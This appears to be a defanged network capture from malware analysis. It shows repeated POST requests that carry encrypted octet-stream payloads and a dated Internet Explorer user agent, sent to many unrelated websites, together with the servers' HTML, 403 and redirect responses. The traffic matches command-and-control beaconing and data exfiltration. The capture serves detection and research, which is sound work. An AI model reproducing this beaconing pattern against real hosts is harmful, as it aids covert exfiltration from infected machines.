7649..<!DOCTYPE html>.<html lang="ja">.<head>.<meta http-equiv="X-UA-Compatible" content="IE=9" />.<meta charset="UTF-8" />.<meta name="author" content=".......com">.<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=0">.<title>.......com</title>...<link rel="pingback" href="hXXp://honnyaku.com/xmlrpc.php" />.<link rel="shortcut icon" href="">... <!--[if lt IE 9]>..<script src="hXXp://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.2/html5shiv.min.js"></script>. <![endif]-->....<!--[if IE]>...<link rel="stylesheet" href="http://honnyaku.com/wp-content/themes/dikka-installable/assets/css/ie.css" media="screen" type="text/css" />. .<![endif]-->.. <link rel="alternate" type="application/rss xml" title=".......com » ............" href="hXXp://honnyaku.com/feed/" />.<link rel="alternate" type="application/rss xml" title=".......com » ........................" href="hXXp://honnyaku.com/comments/feed/" />.<link rel="alternate" type="application/rss xml" title=".......com » home .............................." href="hXXp://honnyaku.com/home/feed/" />...<script type="text/javascript">....window._wpemojiSettings = {"baseUrl":"http:\/\/s.w.org\/images\/core\/emoji\/72x72\/","ext":".png","source":{"concatemoji":"http:\/\/honnyaku.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.2.3"}};....!funct

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 578

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.akr.co.id

Cache-Control: no-cache

XrfJNh8P7Dtt9VMPfhF5z6hKXcP1kZ9rw3j52fxBYFsygcu8DMr95YjeztIDTsPJ

rfmKXJjdeEkrPpBv/tPlbPjD1qUbO/RmPDtRhv7KSHfKW9IQwtDe0xn4xMEP0wsp

TCOew01VDMjvzJW5YZf85UIB9oLDM138zrJFCbCtgklFLtsKAjDLxdQA5GrMNd2s

1FmBKdZbuJVmb FgmOiL/vX6QB3sWQaXZB8gJB9CLVoI1EVrxvqRjN8zTslaiYVU

8xURis0s23UtVnQIEVs7zParM9DBKyBrmhD2zWIgMlTCNuxsLlDYglz8zOHA21e2

SfMN Rthr/D1Le57bTg505xSDkf0rsC0uDHu/CgM1V34ab46tyW/O9XU6I4XD/9D

Df2EH1MjaiaOSOrYvq0viWimOOO4fs100TQP9orlNzlmGSJGpBHj280Iimom7KbJ

qs9NsOp7k5DtmIkhPN5uJgDt9LWdXzakQcQK5OawFzVastT4Ze7Jdz3P0QYMAw4/

bQlS0R9a52iH7gxLf8wXqVADpZb5Ol oQOufIHtSmKg1gw==

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:25:21 GMT

Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4

X-Powered-By: PHP/5.4.42

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: PHPSESSID=0f49909636b07ce8f10b5632b018ecf3; path=/

Transfer-Encoding: chunked

Content-Type: text/html

8a..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN".."hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html>.<head>...430..<meta name="google-site-verification" content="fnshdfpGnRvEGridCiD2EeeMarjp245BCO9dkbwGmgE" />.<title>PT. AKR Corporindo Tbk</title>.<meta name="viewport" content="width=device-width, initial-scale=1">.<link rel="stylesheet" href="hXXp://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css">.<link href="hXXp://VVV.akr.co.id/style/style.css" rel="stylesheet" type="text/css" />.<link rel="shortcut icon" href="http://VVV.akr.co.id/favicon.ico" type="image/x-icon" />. <script src="hXXps://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>. <script src="hXXp://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js"></script>.<script language="JavaScript" type="text/javascript"> .. ./***********************************************.* AnyLink Drop Down Menu- . Dynamic Drive (VVV.dynamicdrive.com).* This notice MUST stay intact for legal use.* Visit hXXp://VVV.dynamicdrive.com/ for full source code.***********************************************/. .var menu1=new Array().menu1[0]='<a href="hXXp://VVV.akr.co.id/about-akr/overview/">..4a..Overview</a>'.menu1[1]='<a href="hXXp://VVV.akr.co.id/about-akr/history/">..146..History</a>'.//menu1[2]='<a href="hXXp://VVV.akr.co.id/about-akr/vision-mission-corporate-values/">Vision, M

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 542

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.2-tier.com

Cache-Control: no-cache

Zk8/wSrPETyJxMT6DTT7nO0BtWxaRjxD/ivYJ/eXP78oVDEv1LOEZNMw/nDL1v9g

uSPlF4O3nJ9KMbrejaxsEMc5uvgfPxkVLq/b55Cv1BjgGj74wxzSTH40t toHjBd

ekMuwpgt4qN/PeN5Kh72OaV/Fc3HxT fPnbo 5AAOG3r6K7kTnAuzFRHZMLxKDP3

6ObKyKa0hGZcE7lFs3ILFSPMqetaGJzcthBWOL7/M3FKXe6yBIuVtbPKn6EgWXid

o3miOlL8 TxmHMKeEG9cQc6JqNmGNliv8fDSfac3H5xKa8ZIn rgupBPEQw67Bq2

CqNgNwkXFiLMYvqwq1xRs5JbqfV6ZcXhz6MEJgwM8cak0Goy9jiOBkpo i5Q5IcZ

wPBRE6gh75Uleu0QIfavlTMDrorXQeDxsRI7UUOuk sQ8tkbkQlHtSTdvfFzMOJC

3KxdKOcSSzg1YVaR2MUA9mWtpb WYFjsPXEchNCGpnsxfBcEDsbl7gN8vE/57YMz

4x5sIoi jOc=

HTTP/1.1 301 Moved Permanently

Server: nginx/1.2.1

Date: Thu, 23 Jul 2015 22:25:22 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 301

Connection: keep-alive

Location: hXXp://VVV.twotier.com

X-Catalyst: 5.90015

Expires: Thu, 23 Jul 2015 22:25:21 GMT

Cache-Control: no-cache

Pragma: no-cache

Cache-contol: no-cache, must-revalidate, private, no-store

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">.<html xmlns="hXXp://www.w3.org/1999/xhtml"> . <head>. <title>Moved</title>. </head>. <body>. <p>This item has moved <a href="hXXp://VVV.twotier.com">here</a>.</p>. </body>.</html>.HTTP/1.1 301 Moved Permanently..Server: nginx/1.2.1..Date: Thu, 23 Jul 2015 22:25:22 GMT..Content-Type: text/html; charset=utf-8..Content-Length: 301..Connection: keep-alive..Location: hXXp://VVV.twotier.com..X-Catalyst: 5.90015..Expires: Thu, 23 Jul 2015 22:25:21 GMT..Cache-Control: no-cache..Pragma: no-cache..Cache-contol: no-cache, must-revalidate, private, no-store..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">.<html xmlns="hXXp://VVV.w3.org/1999/xhtml"> . <head>. <title>Moved</title>. </head>. <body>. <p>This item has moved <a href="http://VVV.twotier.com">here</a>.</p>. </body>.</html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 574

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.recsjpn.com

Cache-Control: no-cache

EGJfWhrbNkVKkE/zPW8OAV0n9PIK6bN/7kYJ2KwW6e1nqZkHVVpN7/8Z dqCjgaK

3OTXjaHgdWCusQ/ZpbfVQBDRwrWE/ysXazt39IT39KHtyqfjseAubSJbPTtwMALa

DrrAHtcScu6lM bM3XMSlDZ9zKr0ozKkeYayhwDLyVUyNwSv0zmELEayaehM38VW

Rxl9ajxZKP9YJA0hBSIa9pP1VSBX3ye3fmW6RJCimgZaegKrIoKmwrUqbY2taUKH

N27qywgL/ToqTLdyc/LysZab8WJgL2/Ga5ulJGUnqXGhQUc5F2ONYPIfnvJ/SHgE

eEs/9Mro8sLEUrqQ2KQ42 o3iqKDuWuKqhOMTyAQESHKw/K9KKbNUJp7EMGKfBoU

Oc8gKQfEocGSvmOPX LMz7AIYOrrIwP6cajYi RGgcodnJ27 ogrBZcH7H t3/r9

IKjbNhXD8TGZZ4N2jQ9DdoXhXYnzc6WqX9VjVZRMk9dnG9IjUwF9yKi7dvw2be4o

DSVVB4m7AJBeatHAlpMggo0xwsP1rM12EAO8Nnamx7uK

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:26:05 GMT

Server: Apache

Content-Length: 202

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /.on this server.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 604

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.canaxini.com

Cache-Control: no-cache

UmYqGz3Z4jtzU6qZ9El34HZ8e1ZrobYuwc1RG9LaT5BKo6s22aYYrFMIvu4BGQRO

I4NkhiCOAXqeBBCJkbKkXvawcz g6NtoIOuWkgAfOXLaWLGmCwK68dllE94FRhxd

A/0NIAKrPnfFLEPdoLbnWYJnkkftjMMmjWc3HagIT o15BGe9q5Sqh0y6HbLwxvc

/2fxCtYrQQaVpJgEIM0/G3MBT0BXQuIV trKK44Hkp0DZryNCaUQq/YvCHf1mph6

Jgu/bMLva7gMKV14j1pMuavHfiTkv8IjiiOpzWgpdWoGe6vBNmBb3cwOVHw6xOVx

xWIzq2xLyYEl94DCdYpAEAWfOii6xnXqatwbtfzgeMHv9j3wfY0YfUv3/vHVx/ZF

BO3I80ysWUA6zu/UIRFbtbrZ38IckUeXODRaiiy2d0in1j/CJDzv JDCVKcjT/S/

P Zz2QP66u18e fpOuTmScV/sir8dGgQLqS88YW/IZ3hz4V9zgezq7Se7agECV6h

vjHjAaDocpp3iQlbJAkHKKVTE/2cO6Zqiy4Hmnx6aWs19N8jg HBAM/TBSwb9yk4

rADu9dE=

HTTP/1.0 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:21 GMT

Server: Apache

Vary: Accept-Encoding

Content-Length: 202

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /.on this server.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 554

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.ingimex.com

Cache-Control: no-cache

nJ2hF0RcTUDLSBu2X7rDVReAatJ8OtIPuFUv5bZ1McFJAypH6x73pbOJuXPwcktl

GvS8i8g7mM6dh2b2NPVMvazEXKKc1Ifmc2Y8ylEwZNvr/ZE1kO01DOiL1whaEASr

zjkXCyI2aZWt61ABqE3p3HICMxW7d5AQzSMdQjrQUEGvBSTwV5b4D9HtzWCEsYST

4uBY6Ip8spcX8R3GMcAkWyO3P4tYzm2s8nS2YyexzlF7mdiO9TiodTcS/Ozct9Tu

IzODVaojwUHOQF89sWOYryNpXldjJceiBXtSd9HPAOoV3jN3SSzNiKwZz99ldeVW

oX0JjbBLKcRag8L53I3Xc40W4Rok35bqGT82htkJ25CRdo2sgJcvzA0MhEwvgR9B

JOUJpQcwZ6Gn6r3s L5y11VdCF5ILeTUgJyFHVVLDxNUsiy04MsYkenFNlg6mknD

gk laIt0JGW10JiJ5TkTwLVvNadN6qgQgnkvLjTbLuralQDeYHI6nV8AiptK/xoF

b1a tZYDZuqgOmMO46cbjivy

HTTP/1.1 200 OK

Cache-Control: private, must-revalidate

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

Set-Cookie: ASP.NET_SessionId=xkaykvuqxovirpbo4cpjfzvq; path=/; HttpOnly

X-AspNet-Version: 4.0.30319

Set-Cookie: ASP.NET_SessionId=xkaykvuqxovirpbo4cpjfzvq; path=/; HttpOnly

Set-Cookie: CurrentTheme=General; expires=Fri, 24-Jul-2015 22:25:43 GMT; path=/; HttpOnly

X-Powered-By: ASP.NET

Date: Thu, 23 Jul 2015 22:25:43 GMT

Content-Length: 22433

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://VVV.w3.org/1999/xhtml">..<head id="head"><title>...UK...s largest manufacturer of LCV bodies | Tipper, Dropside, Luton & Commercial Vans..</title><meta name="description" content="Ingimex |The UK's largest manufacturer of light commercial vehicle bodies for Dropside, Tipper and Luton van conversions | Speak to us today on 01952 585833" /> .<meta http-equiv="content-type" content="text/html; charset=UTF-8" /> .<meta http-equiv="pragma" content="no-cache" /> .<meta http-equiv="content-style-type" content="text/css" /> .<meta http-equiv="content-script-type" content="text/javascript" /> .<link href="/CMSPages/GetResource.ashx?stylesheetname=General" type="text/css" rel="stylesheet" /> .<script type="text/javascript" src="/_a/js/jquery-1.6.3.min.js"></script>..<script type="text/javascript" src="/_a/js/jquery.cycle.all.js"></script>..<script type="text/javascript">..(function($) { ..$('.taglines').cycle({....fx: 'fade',....timeout: 5000...});...$('#slider').cycle({.. fx: 'fade',.. speed: 500,.. timeout: 5000,.. next: '#nextImg', .. .prev: '#prevImg'.. });... $('#product_hero').cycle({.. fx: 'fade',.. speed: 500,.. timeout: 5000,.. next: '#nextImg', .. .prev: '#prevImg'.. });..$('#feature1')

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 566

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.densa.ch

Cache-Control: no-cache

wmB MG1Jo0Ydw4ECZBugDSbMVnJbncnC8eA8jnEmmMe7b1RLmTw2KZ4oAYSUaINe

TIHfBXO4T1t3yokui6fv/IyysW50kR7eiHSZ1g0h09eW34WBkXzYc7H0nQ0UxbAE

OsUudVkRWu/U7Cj42Wtfe8xOaxZvjtNqsMFEuanzNwRmWK7UXROlifrNZQDYFBj

VmpSV/zTsVqqTxWAj23ayBTQvibGvBAxpxWBsw7fjA5tTMErIlAej00Uadwe011X

DeWYzJ8SBHtMHPrmRk5jq8TugBay 2DHbL XSVV2jTQWiT hucaeTQFAu1iMr6KW

fkQhDsrvm6OLt8PpLs3mz34owf0SwLExSPX 0Xnk91GInWmxWVTlhBs/nhav6 gT

IlYgODTcxFcNT7WBgZF5jPkBkmdlILgPosnRfA5zUmhjNelSEGCzzAArZ/mZ6R5E

AcWTMVuyuK4Bw54t4VBkWj fDckkgB sjhH2j3/gQO16GEQph1vo5EP1dtKOPg1J

tHvSRAsh2Ix1CIxMoPjUzLHzZXHOWbHYHg==

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:26:15 GMT

Server: Apache

Accept-Ranges: bytes

X-Powered-By: PleskLin

Content-Length: 4954

Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "hXXp://VVV.w3.org/TR/xhtml11/DTD/xhtml11.dtd">..<head>...<title>Apache HTTP Server Test Page powered by CentOS</title>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />...<style type="text/css">....body {.....background-color: #fff;.....color: #000;.....font-size: 0.9em;.....font-family: sans-serif,helvetica;.....margin: 0;.....padding: 0;....}....:link {.....color: #0000FF;....}....:visited {.....color: #0000FF;....}....a:hover {.....color: #3399FF;....}....h1 {.....text-align: center;.....margin: 0;.....padding: 0.6em 2em 0.4em;.....background-color: #3399FF;.....color: #ffffff;.....font-weight: normal;.....font-size: 1.75em;.....border-bottom: 2px solid #000;....}....h1 strong {.....font-weight: bold;....}....h2 {.....font-size: 1.1em;.....font-weight: bold;....}.....content {.....padding: 1em 5em;....}.....content-columns {...../* Setting relative positioning allows for .....absolute positioning for sub-classes */.....position: relative;.....padding-top: 1em;....}.....content-column-left {...../* Value for IE/Win; will be overwritten for other browsers */.....width: 47%;.....padding-right: 3%;.....float: left;.....padding-bottom: 2em;....}.....content-column-right {...../* Values for IE/Win; will be overwritten for other browsers */.....width: 47%;.....padding-left: 3%;.....float: left;.....padding-bottom: 2em;....}.....content-columns>.content-column-left, .content-columns>.content-column-righ

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 594

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.apio.ro

Cache-Control: no-cache

W9F6wt44W0Ap 2OiKUpnZ8F5iO4e1GvQ8n7iHYK9aptQoORCLu2TFGVuyhSlRp3j

bHK6AcWBUes36D2LpRGXKPjBlwbq2SV tP8INeSJVQt1dAWjkKixYiQyAQ66oLVR

ataxSB p2jrLwWK1XQGz1fbbXMFhPH0HKlMxeG2OBkuE0rYYKjtDuANTYwcM/Cxw

pzT44Pt8qHX c1NIuGrsFfH6g1qBnMYrql61NYOw2Qi5iV24VN32RTBPyFuqxcOj

d8JaK1qLyuHCzYgh6YEQerks3es5Go0ITOFJ3QHl Bds5QzaUarXDpiPd8UqbEdf

Vmv NIVp260g3kapyzakBNbEp7/VkeQw5pMYUkqIax/NmVPbY3etwpDrvfvNqVZ4

k7GmZ7tmf lSIT3kMKesNr9AwKOevmoiW0fpFpFKbaPf 5EbUuFKmyk5bOQ9x8Uc

d8auq4RW8rREsK SLY1ggYiUokeBiJhZZCz/TohZZcLxJCl3zoLC3NsAweTccARy

INjp1RaFA4jicTVnpnetK9EaawMdaANU2ueOdsC1/mjMB6RXzVzUXHe1IOXCqgI=

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:42 GMT

Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.3.6

X-Powered-By: PHP/5.3.6

Set-Cookie: ci_session=Oml5WvPoTWmN4M0wyXpRhDNDHSIOPcaSWhjMqVgkjxl7wR/QIPjWfc52A+tz3J5MBO9gNIVCwqhrm6HPq5nG4volntDf79UYeZR+GgnKwN6cbJwnopqmUhoSd7vrYnHv2RNNUqoazses8nqsujZwhH7SZeqfOH0k76PWp7VdEzKKuqMTx1ZheZvKUKo2+s/lRe/lKixQWI+gTqVImcH0IVbvNGTk3NEkvcezaLnzhs48jixTeka+g5K/Q73Arh9rrYNpxZ/j4+hpoMrZJuzzFBQAElOT7gqXLzIAuDj7QIYtPgxiil1fBb7gvFc9b+FUUPv/71l6HW7+Ft2F68us8F/jle8J0QMtT00nV8+ZtvETIHXguUBU9MJj3yaZ8ASJpeALqg+smKVP7ZXJFQ2n5PjqnvEjVuu4W6uLuQrPdc34nTsk0WeZth1DwJ7JMY3TkOEeLxJNNm9Q1BkUeO9ze8HoSVGBSCbcjovm/XdUzleHaWEfQEkHdQEab59p2BQBsqhuScFz7ABrtQhdtJuE2sftjaHRvzOScqnqSVj1cMWo+O6NJm26zB20VLgxR/5DgHnyUUBrzvr1RVutBSNbC7kHcvRjhR8yaBvcz3FJ6/4bj7oQNqPc0K2yFaMcDEQL; expires=Sat, 22-Jul-2017 22:25:42 GMT; path=/

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

92fa..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xmlns="hXXp://VVV.w3.org/1999/xhtml">. <head>. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />. <title>Asociatia de psihologie industriala | apio.ro</title>. <meta name="description" content="Selfcentral.ro" />. <meta name="keywords" content="Selfcentral.ro" />. <link href="hXXp://VVV.apio.ro/assets/shared/css/reset.css" rel="stylesheet" type="text/css" /> . <link href="hXXp://VVV.apio.ro/assets/public/js/skins/square/red.css" rel="stylesheet">. <link href="hXXp://VVV.apio.ro/assets/public/css/content.css" rel="stylesheet" type="text/css" />. <!--<link href="hXXp://VVV.apio.ro/assets/shared/css/jquery.tooltip.css" rel="stylesheet" type="text/css" />-->. <link rel="stylesheet" href="hXXp://code.jquery.com/ui/1.10.4/themes/cupertino/jquery-ui.css" />. <script src="hXXp://code.jquery.com/jquery-1.10.2.js"></script>. <script src="hXXp://code.jquery.com/ui/1.10.4/jquery-ui.js"></script>. <script src="hXXp://VVV.apio.ro/assets/public/js/icheck.min.js"></script>. <!--<script type="text/javascript" src="hXXp://VVV.apio.ro/assets/shared/js/jquery.lavalamp.min.js"></script>. <script type="text/javascript" src="hXXp://VVV.apio.r

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 558

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.tamaral.org

Cache-Control: no-cache

qB70oJ9XGUGNq2ar/sAoMignUNB1RFBgQ8mLaQ9imYJjeqyHxhRUweo4FroxvV8o

/C9geRbKmITiF7 RQimhw9eNMKbvA0V/coKKEvLFVwFx3/KfX5rh0RsBzsjiU6TG

oanenvIefO95TobIUIsA3LdL3uA X/CjAkWH/73wqfaj4gTvNGzWJtgMnvI0PmL5

KhBzIJ0Tgs7UxikcB4sX0DES3YBdi84fX5XTCpmspPV MvearSYrUJY/DNOo4FAA

wlOsuDPQRVEIyoPVAE2UWXF2baPaw3W33sbzW TaS0UDwkaJVv/Kn1t1MuHQCnkF

GbDNo6YIU0fC/Olq08HPudGGhtF5i83/irdgkChRxCjIMiP9uKcwaQhawx7lAFAx

Bkaju5QZ7faJvnDBd58lf8aNSmN48xbaMXviX0v0TmO2VcdeLRiVAYiPTWUo5p41

X9A0RxilL9 LI4tuY1ENaX71YrP UwHb0Is5VAjGfpHmLp7rNOqBxGWXEg0RLSr7

6U9x2YmXz54s6XwIPc7hvtH cdU3

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:25:45 GMT

Server: Apache

X-Powered-By: PHP/5.4.42

Transfer-Encoding: chunked

Content-Type: text/html

72a..<!DOCTYPE html>.<html>..<head>...<title>Tamaral</title>......<!-- metas -->...<meta charset="utf-8">...<meta name="keywords" content="asociacion juvenil le..n, club ni..as le..n, club opus dei le..n, club opus ni..as le..n, opus dei le..n, opus leon, campamentos, actividades extraescolares, estudio, actividades familiares, formaci..n cristiana, cursos esqu.., cursos de ingl..s, voluntariado le..n, voluntariado internacional, congresos.">...<meta name="description" content="Tamaral Joven es una Asociaci..n Cultural juvenil de Le..n creada por padres de familia, como respuesta a la preocupaci..n por la educaci..n de sus hijas, con la finalidad de educar en valores a trav..s de las actividades de tiempo libre y apoyo en el estudio. La formaci..n cat..lica, para quien lo desee, est.. encomendada a la prelatura personal del Opus Dei">...<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">...<meta name="google-site-verification" content="qgDfAQBj8K5z1moko1BTFyWQIjDybc0MdkwcH1LdgfI" />....<!--/ metas -->......<!-- styles -->...<link rel="stylesheet" type="text/css" href="css/layerslider.css">...<link rel="stylesheet" type="text/css" href="css/fullwidth/skin.css">...<link rel="stylesheet" type="text/css" href="css/font-awesome.css">...<link rel="stylesheet" type="text/css" href="css/owl.carousel.css">...<link rel="stylesheet" type="text/css" href="css/jquery.fancybox.css"&g

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 554

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.uls-dc.org

Cache-Control: no-cache

hroG2PkC8zw2W9eHiFBGcpKZRt7XA1zZPRX9oOnUDOk24uFBS7avdBkq3FDOdtkH

yvS87oEm0oEqVdZg8OwnFi0k4u5GJRRMj8c8mT8MPlr31oeEHaYn/XdsovKvxBTM

RIZqMaCfnqo6B9H6riGxSVUtmzVhziOk1bk vlB742cZeLA/XCwit7hS8bztrqmj

I5NhM1L3l6honTNRAwBgGctpPhoXjOMhQF2 LEJQZHiqB8lkWG808a/eG2fNnGml

lKSN2QT7jUo9swTfudUSyBihdaLQRjZrTqlElmUmcgc0FKInx33RguEvIM4gPFJs

Izz2g3i AWDdf1MF9eVuCB5Sd61xhilq1IDsmizwM9/6Y tyWEYzQ9fiMFiLiE8D

9qP pWQ CR 5aFMcHxnuwzx4HMJzyM0SBH7sIkcCMTVpXis7L0muAFvm3mscLtTQ

6cHHo44otV0 pdkQzlZFpNTw/HmTBTFC 3i9XGKirJ5pZ87mPf2yalwtZJsIW59C

MtWrkZsn/dIH6vu2z9k822g=

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:25:26 GMT

Server: Apache/2.2.22 (Ubuntu)

Last-Modified: Wed, 22 Jul 2015 19:31:37 GMT

ETag: "98404a9-30a9-51b7bd1bb29b4"

Accept-Ranges: bytes

Content-Length: 12457

Vary: Accept-Encoding

Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"."http://VVV.w3.org/TR/html4/loose.dtd">.<html>.<head>.<title>University Legal Services Protection & Advocacy Program for the District of Columbia- Protection and Advocacy Progam</title>.<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">.<link href="style/main.css" rel="stylesheet" type="text/css">.</head>.<body>.<table width="777" border="0" cellspacing="0" cellpadding="0" align="center">. <tr> . <td align="center"><p><img SRC="images/test4.jpg" alt="ULS Capitol_Building and cheeryblossom Washington Monument DC" width="347" height="205" ><br>. </p>. </td>. </tr>. <tr> . <td align="center"><p><a HREF="About_ULS-HCP.htm"><font size="3" face="Verdana, Arial, Helvetica, sans-serif"><br>. Housing Counseling Programs</font></a><font size="3" face="Verdana, Arial, Helvetica, sans-serif"> . | <a HREF="PAP.htm">Protection and Advocacy Program</a> | <a HREF="Media_Center.htm">Media . Center<br>. </a></font><font size="3" face="Verdana, Arial, Helvetica, sans-serif"><a HREF="hXXp://www.uls-homeworks.org">Tenant . Purchase</a> | <a href="hXXp://VVV.atpdc.org" title="Assistive Technology Program">Assistive . Technology</a></font></p>. &lt

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 562

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.maintasc.com

Cache-Control: no-cache

cnfs0XVKhUDXWWCq3FlL5G5eqJIDt6bKebb1ymyf mIfPeTq1QPVJ3aFE175UmHK

Cd2zF1TsYSqkwNdo31aJY0GEhMdtrDtx6LIPd0rcP1Tvo5ReSCppUAet4JW5z75p

t6kQU8kco762OgZOIZTjtrE5I9P1cRPAnihpcJa1318AMdaMNiw7hYWFIzntERW7

iIMvcwu8KjrSTf6Otkttqfxz tNNfr3XpwGCwkHl2sCHctirc1qZpBTdsW5KLK9m

SKY6lpFYvXZ7GVAvuBkB8QeFoBhVahAyHCpDOqlnIdvqZUE50sLkRRs pP1SbmyA

1Mq3FV8Um tuwzD21LrQNEeQdGEH2kmARdYYd7GOQsfaWrlflxBd1bU9amdEGp14

vJtjCyByYHpkCfQbftBbKOE AhU/ndyXfzygomEF9w/Y8PEvovTCyufhMV/UqdKn

wghV6oFl/COIJLIgGlrgUwC8RrcLaj/vWz/B1AQgOfEfO3unLuOQSC8EJVLOo00j

w0ivWuhMQdNynA9saUD tU88w7J1tdhO

HTTP/1.0 301 Moved Permanently

Date: Thu, 23 Jul 2015 22:25:43 GMT

Server: Apache

Location: hXXp://VVV.primatasc.com/producten.html

Vary: Accept-Encoding

Content-Length: 247

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="hXXp://VVV.primatasc.com/producten.html">here</a>.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 570

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.fsk.at

Cache-Control: no-cache

eYIkapBtxEBWilcYI MffUM/3Ie4M3jexPUocgm4O9igfncBe wpOv6JRG1Q7XTB

V/4eEzTuzjNYRYa4aKNHZjd6zWdqDijEdkyi6WNOltRsE6vPgJGUfVvt2VDWAck/

0/BcIzuF6MCiY6ZKGAiTwj5H wKNudjjLGGaqT3vEEtH4t61bOM ShnDqZH1L2i

fH0cDezbA4rbj2Jh1Tni WRz9WwoiEHJLIDm XX6JcWpWUdx3yE5ZQEFgudOdfjO

mUZMZqerR6YjA7xwz44PkXwywoEfPnr0Ymo3qNwsVnor9GXYRLOehiBUcxTHwldt

H3tPitvItf1p/EDQf2Y5MnPY wtiL696dy1eV4L8vupqHtR3daDqBM1t5iV3pxCE

ezvBRvae vI4RzTqhTuUmbjlSFKOzB/I0GSwuUsOjPHGmMjNbIikw4HcBQiMU2Du

/7Hwi1G4WvNUnOXRq1 8aiGo8ppkly9lJ3cu7BUiqKT5i8aW3usAS29lRJCpZuTa

ouRrdRlsjDcy45XLw0e/xGjPAPDszhLBp3n1XFQl

HTTP/1.1 302 Found

